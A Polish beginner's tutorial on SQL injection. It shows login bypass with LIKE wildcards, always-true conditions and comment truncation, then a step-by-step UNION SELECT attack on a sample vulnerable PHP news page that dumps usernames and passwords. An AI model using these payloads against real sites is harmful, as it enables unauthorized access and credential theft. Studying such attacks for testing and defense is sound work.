Sinis napisał bardzo dobrego tutoriala o SQLI, jednak SQLI jak to SQLI - nigdy nie zbyt wiele informacji, przykładów, wyjaśnień :-) Przedstawię tutaj definicję SQLI bardziej Newbie-Friendly i pokażę jeden czy dwa bardziej uniwersalne przykłady, no i nie sypnę brzydkimi cytatami z Wikipedii. Do roboty więc...
I. Czym jest SQLI? Krótko mówiąc jest to modyfikowanie zapytań strony do bazy MySQL. Na co to pozwala, przekonamy się za chwilę.
II. Błąd 1 - Like W języku MySQL istnieje kilka operatorów porównań: <, >, =, LIKE... zajmiemy się tutaj właśnie LIKE. KOD SELECT Login, Haslo FROM Users WHERE Login LIKE '$A' AND Haslo LIKE '$B'
Zapytanie to pobiera zmienne Login i Haslo z tablicy Users, przy czym pobiera je tylko z rekordów w których Login podobny jest do loginu wpisanego przez usera ($A) i hasło jest podobne do tego wpisanego przez usera ($B). LIKE używane jest kiedy nie chcemy przejmować się wielkością liter, z tego i innego powodu o którym zaraz wspomnimy używane jest we wszelkiego rodzaju szukajkach i tym podobnych skrypciątkach. Używając operatora porównania LIKE, możemy korzystać z wieloznacznika: KOD %
Toteż na przykład zapytanie: KOD SELECT * FROM TytulyKsiazek WHERE Tytul LIKE 'K%'
Zwróci nam wszystkie tytuły książek z bazy zaczynające się na literę "K" lub "k". Wnioski są oczwiste: KOD SELECT Login, Haslo FROM Users WHERE Login LIKE '$A' AND Haslo LIKE '$B'
KOD $A = Admin $B = %
KOD $A = % $B = %
No i proszę. :-)
III. Evertrue i zamykanie ciągu Rzućmy okiem na takie zapytanie: KOD SELECT Nick FROM Users WHERE id = $A
Skrypt korzystający z takiego zapytania zwraca nam login użytkownika z tablicy Users gdzie id = $A (wartość wpisana przez usera). Zobaczmy wszystkie nicki w bazie... Coż by się stało gdyby zapytanie wyglądało tak? KOD SELECT Nick FROM Users WHERE id = 4 OR 1=1
Skrypt pobiera nick z tablicy Users gdzie id = 4 lub 1 = 1. 1 zawsze równa się 1, więc ten warunek zawsze jest prawdziwy. Tak więc (w zależności od skryptu) widzimy listę wszystkich użytkowników... A teraz trochę inna wersja tego samego zapytania: KOD SELECT Nick FROM Users WHERE id = '$A'
Gdy $A = 5: KOD SELECT Nick FROM Users WHERE id = '5'
Żeby zmodyfikować to zapytanie po swojemu, musimy zamknąć ciąg. KOD 2' OR 1=1
KOD SELECT Nick FROM Users WHERE id = '2' OR 1=1'
A cóż to? Błąd MySQL? Nic dziwnego, na końcu naszego zapytania jest paskudne '. Tożto straszne! Spróbujmy jeszcze raz: KOD 2' OR '1' = '1
KOD SELECT Nick FROM Users WHERE id = '2' OR '1' = '1'
I wszystko działa. :-) Należy tu wspomnieć o slashowaniu zmiennych, poprzez na przykład zastosowanie funkcji stripslashes(). Slashowanie polega na wstawieniu przed każdym " czy ' slasha, co w MySQL sprawia, że owo " lub ' jest traktowane jako część ciągu. Po prostu takiego ciągu nie możemy zamknąć. Wspomnę jeszcze że na serwerach rodzaju yoyo.pl slashowanie zmiennych jest automatyczne.
IV. Komentowanie zapytania Niewygodną część zapytania możemy uciąć komentarzem. KOD SELECT * FROM Users WHERE Login = '$A' AND Pass = '$B'
Możemy użyć do tego na przykład /*, //, czy -- (najczęściej stosowane - komentarz w języku SQL). Przykładowo: KOD $A = Admin $B = ' --
czy KOD $A = Admin $B = ' /*
albo KOD $A = Admin $B = ' //
Zapytanie będzie wyglądało tak: KOD SELECT * FROM Users WHERE Login = 'Admin' /* AND Pass = '$B'
Część po znaku komentarza zostanie zignorowana, więc zostanie tylko: KOD SELECT * FROM Users WHERE Login = 'Admin'
I bum. xD
V. Union select i inne zabawki Weźmy sobie taki kod: KOD <?php $A = $_GET['Nr']; $Q = mysql_query("SELECT * FROM Newsy WHERE Nr = '$A'"); while($Z = mysql_fetch_array($Q)){ echo '<b>Data: </b>'.$Z['Data'].'<br> <b>Tresc: </b>'.$Z['TXT'].'<br><br>'; } ?>
Ten prosty skrypt pobiera datę i treść newsa z tabeli Newsy o numerze wybranym przez usera. Baza wygląda tak:
KOD Newsy [Data, TXT] Users [Nr, Login, Pass]
Spróbujmy więc wyciągnąć dane z tabeli Users, jako że tabela Newsy zupełnie nas nie interesuje. Najpierw sprawdzamy podatność na SQLI.
KOD http://www.strona.pl/news.php?Nr=4' fkgjh
MySQL error. Doskonale. KOD http://www.strona.pl/news.php?Nr=4 OR 1=1
MySQL error. KOD http://www.strona.pl/news.php?Nr=4' OR '1' = '1
No i mamy pełną listę newsów. Skrypt jest podatny na atak SQLI. Weźmy się za wyciąganie danych... KOD http://www.strona.pl/news.php?Nr=4' AND '1' = '2
Tak na dobry początek. Fałszujemy zapytanie pierwotne by zwracało nic. KOD http://www.strona.pl/news.php?Nr=4' AND '1' = '2' UNION SELECT
Union select służy do pobierania danych z kilku tabel jednym zapytainem. Weźmy więc sobie zawartość Users... KOD http://www.strona.pl/news.php?Nr=4' AND '1' = '2' UNION SELECT Login, Pass FROM Users
Błąd MySQL. Czemu? Zobaczmy jak wygląda zapytanie. KOD SELECT * FROM Newsy WHERE Nr = '4' AND '1' = '2' UNION SELECT Login, Pass FROM Users'
Na końcu mamy znak '. Możemy go sobie skomentować, ale załatwimy to inaczej. KOD http://www.strona.pl/news.php?Nr=4' AND '1' = '2' UNION SELECT Login, Pass FROM Users WHERE Login LIKE '%
KOD SELECT * FROM Newsy WHERE Nr = '4' AND '1' = '2' UNION SELECT Login, Pass FROM Users WHERE Login LIKE '%'
Zapytanie idealne ale wciąż nic... co jest nie tak?
KOD echo '<b>Data: </b>'.$Z['Data'].'<br> <b>Tresc: </b>'.$Z['TXT'].'<br><br>';
Ten kod nie pobiera danych po numerze, tylko po nazwie! Pobiera zmienne o nazwach "Data" i "TXT"... Więc, należałoby sprawić by dane z Users tak właśnie się zwały.
KOD http://www.strona.pl/news.php?Nr=4' AND '1' = '2' UNION SELECT Login AS Data, Pass AS TXT FROM Users WHERE Login LIKE '%
KOD SELECT * FROM Newsy WHERE Nr = '4' AND '1' = '2' UNION SELECT Login AS Data, Pass AS TXT FROM Users WHERE Login LIKE '%'
No i proszę:
KOD Data: Mietek Tresc: taniewino
Data: Admin Tresc: SsijMojeLogi
Data: Czesio Tresc: niezlezemnieciacho
(...)
Epilog Co prawda wiele nie pokazałem, ale - mam nadzieję - zaszczepiłem w newbie umiejętność kreatywnego myślenia :-) Jeszcze jedna ważna uwaga: żeby umieć złamać skrypt, trzeba wiedzieć jak działa lub jak może działać. Mało tego, trzeba umieć napisać taki sam. Toteż uczcie się PHP i MySQL.
Pozdrawiam.
|